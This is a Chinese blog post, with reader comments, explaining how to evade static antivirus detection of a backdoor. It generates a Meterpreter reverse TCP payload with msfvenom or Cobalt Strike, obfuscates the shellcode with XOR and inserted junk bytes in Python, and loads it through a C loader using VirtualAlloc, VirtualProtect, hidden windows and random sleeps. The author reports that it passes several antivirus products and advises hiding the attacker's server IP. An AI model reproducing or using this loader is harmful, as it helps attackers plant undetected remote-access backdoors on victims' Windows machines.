加载混淆的shellcode实现静态免杀
文章最后更新时间为:2020年05月27日 17:49:53
由于各种av的限制,我们在后门上线或者权限持久化时很容易被杀软查杀,容易引起目标的警觉同时暴露了自己的ip。尤其是对于windows目标,一个免杀的后门极为关键,如果后门文件落不了地,还怎么能进一步执行呢?
关于后门免杀,网上的介绍已经很多了,原理其实大同小异。笔者最近看了不少相关文章,打算以自己的理解一步步写一个简单的免杀demo。本文将使用cobalt strike和msf中的shellcode为后门基础,探讨一下静态免杀的原理和方法。
1.静态查杀原理
病毒检测一般分为静态特征查杀、动态行为检测。大部分杀毒软件还包括云查杀,本质上可归类为静态查杀,卡巴斯基还有机器学习检测,笔者不是很清楚其实现方式,但应该属于静态查杀。
静态查杀,本质上是对文件特征码的检测和查杀。病毒库中存储着病毒所具有的独一无二的特征字符,我们称之为特征码。当杀毒软件检测到文件中包含病毒特征码后则代表检测到病毒。
随着杀毒软件的升级,特征码的定位已经不仅仅是基于字符串或者正则来实现,现在已经衍生出各种文件扫描技术。比如在文件扫描中忽略像NOP这种无意义的指令,对于文本格式的脚本病毒或宏病毒,则可以替换掉多余的格式字符,例如空格、换行符或制表符等。
但本质上静态查杀还是特征码的定位,如果我们能够使用加壳改壳、添加/替换资源、加密Shellcode等方式去除文件中的特征码,则可以很轻松绕过静态查杀。
2. 静态免杀demo
对于msf或者cs,其shellcode的特征早已躺在各大av的库中,笔者将以这两者生成的shellcode为基础,实现静态免杀。
首先我们生成shellcode:
msf:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=4444 -f c -o shell.c
cobalt:
Attacks --> Packages --> Payload Generator --> 选择x64 C格式
以下测试中默认情况下使用msf生成的shellcode。
2.1 直接加载shellcode
关于shellcode的加载方式可以看 shellcode加载总结
首先我们使用C语言直接加载shellcode执行:
#include <windows.h>
#include <stdio.h>
typedef void(_stdcall* CODE)();
//下面的语句作用是执行时不弹框
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
void main(){
PVOID p = NULL;
//申请一段内存
p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (p == NULL){
return;
}
// 将shellcode拷贝到申请的内存中
memcpy(p, shellcode, sizeof(shellcode));
//跳转执行到shellcode
CODE code = (CODE)p;
code();
}
火绒和360直接报毒,打开文件夹一看,卡巴斯基把文件都给删了~
这样肯定是不行的
2.2 编码+混淆处理
其实静态免杀很简单,无非就是修改特征,加密,亦或,增加随机字符混淆,增加花指令,加壳等。不管怎么做目的都是为了让shellcode
面目全非。
我们首先来改造shellcode,我觉得没必要搞那么复杂,关键是要独一无二。这里我只是使用了亦或加密+增加随机字符来混淆shellcode,在程序执行时再对shellcode解码。
首先我们先混淆shellcode,为了方便我使用了python:
def xor(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 对shellcode的每一位进行xor亦或处理
for i in range(0, len(shellcode)):
s = ord(shellcode[i])
p = ord((key[i % key_len]))
s = s ^ p # 与p异或,p就是key中的字符之一
s = chr(s)
new_shellcode += s
return new_shellcode
def add_random_code(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 每个字节后面添加随机一个字节,随机字符来源于key
for i in range(0, len(shellcode)):
new_shellcode += shellcode[i]
new_shellcode += key[i % key_len]
return new_shellcode
# 将shellcode打印输出
def str_to_hex(shellcode):
raw = ""
for i in range(0, len(shellcode)):
s = hex(ord(shellcode[i])).replace("0x",'')
if len(s) == 1:
s = "0" + s
raw =raw + "\\x" + s
return raw
shellcode = ""
# 这是异或和增加随机字符使用的key,为了提高复杂度也可以使用两个key
key = "fdaufdiqe"
# 首先对shellcode进行异或处理
shellcode = xor(shellcode, key)
# 然后在shellcode中增加随机字符
shellcode = add_random_code(shellcode, key)
# 将shellcode打印出来
print(str_to_hex(shellcode))
然后使用C语言加载混淆后的shellcode,解码,执行。
#include <windows.h>
#include <stdio.h>
typedef void(_stdcall* CODE)();
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] = "\x9a\x66\x2c\x64\xe2\x61\x91\x75";
void main()
{
int shellcode_size = 0; //原始shellcode长度
int shellcode_final_size = 0; //解码之后的shellcode长度
char key[] = "fdaufdiqe";
int j;
int key_size = sizeof(key) - 1;
unsigned char* shellcode_final;
// 获取shellcode大小
shellcode_size = sizeof(shellcode);
// 根据加密之后shellcode的大小可以推算出解码之后的大小为(shellcode_size + 1) / 2
shellcode_final_size = (shellcode_size + 1) / 2;
shellcode_final = (char*)malloc(shellcode_final_size);
//首先去除垃圾代码,将结果保存在shellcode_final
j = 0;
for (int i = 0; i < shellcode_size; i++) {
if (i % 2 == 0) {
shellcode_final[j] = shellcode[i];
j += 1;
}
}
//然后进行异或处理,还原shellcode
for (int i = 0; i < shellcode_final_size; i++) {
shellcode_final[i] ^= key[i % key_size];
}
PVOID p = NULL;
p = VirtualAlloc(NULL, shellcode_final_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (p == NULL)
{
return;
}
memcpy(p, shellcode_final, shellcode_final_size);
CODE code = (CODE)p;
code();
}
运行结果:(完美过卡巴,360和火绒的静态查杀,但是没过卡巴斯基的行为检测,可恶~)
virscan查杀:1/49
https://r.virscan.org/language/zh-cn/report/4766957003edf1df59ccc0cec35f2e32
virustotal查杀 8/71
报毒的部分,应该都是基于沙箱动态查出来的。
根据倾旋大佬的博客,还可以做以下修改:
- 在申请内存页时,一定要把控好属性,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行
- 使用InterlockedXorRelease函数来做异或运算
- 随机等待几秒?
改一改上面的代码,最终结果如下:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
typedef void(_stdcall* CODE)();
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] = "\x9a\x66\x2c\x64";
void main()
{
int shellcode_size = 0; //原始shellcode长度
int shellcode_final_size = 0; //解码之后的shellcode长度
char key[] = "fdaufdiqe";
int j;
int key_size = sizeof(key) - 1;
unsigned char* shellcode_final;
DWORD dwOldProtect; // 内存页属性
// 获取shellcode大小
shellcode_size = sizeof(shellcode);
// 根据加密之后shellcode的大小可以推算出解码之后的大小为(shellcode_size + 1) / 2
shellcode_final_size = (shellcode_size + 1) / 2;
shellcode_final = (char*)malloc(shellcode_final_size);
//首先去除垃圾代码,将结果保存在shellcode_final
j = 0;
for (int i = 0; i < shellcode_size; i++) {
if (i % 2 == 0) {
shellcode_final[j] = shellcode[i];
j += 1;
}
}
//然后进行异或处理,还原shellcode
for (int i = 0; i < shellcode_final_size; i++) {
_InterlockedXor8(shellcode_final + i, key[i % key_size]); //这里异或还原
}
Sleep(rand(100));//随机增加点sleep
PVOID p = NULL;
p = VirtualAlloc(NULL, shellcode_final_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 只申请可读可写
if (p == NULL){
return;
}
memcpy(p, shellcode_final, shellcode_final_size);
// 修改内存属性
VirtualProtect(p, shellcode_final_size, PAGE_EXECUTE, &dwOldProtect);
Sleep(rand(100));//随机增加点sleep
CODE code = (CODE)p;
code();
}
3. 后记
不太推荐只使用msfvenom对shellcode进行编码,因为其解码方式也写在shellcode中,而且各大厂商也盯得紧,还不如自己写个加密。
以上我只是用了异或+随机数字混淆的方式,加密方式可以自定义,尽量做到小众、独创,然后只要在运行时解码就行了。
样本上传云查杀后,这种免杀方法一般没多久就失效了,建议生成shellcode时不要使用自己的服务器ip,有暴露的风险。
师傅,在python代码那里,不是已经写了shellcode了,那为什么还要再打印输出另外一个shellcode呢
大哥,刚刚又试了一下。编译可以通过但是无法上线=。=
@qwq 可以了,被杀了,谢谢大哥提供的思路:),解码时候的密钥忘记改了。
@qwq 。。。
@saucerman 大哥,加载混淆相关的资料能推荐一下嘛,最近在学习,d2hpdGVoYXQuMHgwMUBnbWFpbC5jb20=
大哥,复现的时候,报错,C++ invalid conversion from ‘char’ to ‘const unsigned char’
@qwq 这是C语言
@saucerman 嗷嗷,我是用dev-c++编译的,忘记改后缀了,谢谢大哥,我去试试,有没有其他的方式学习学习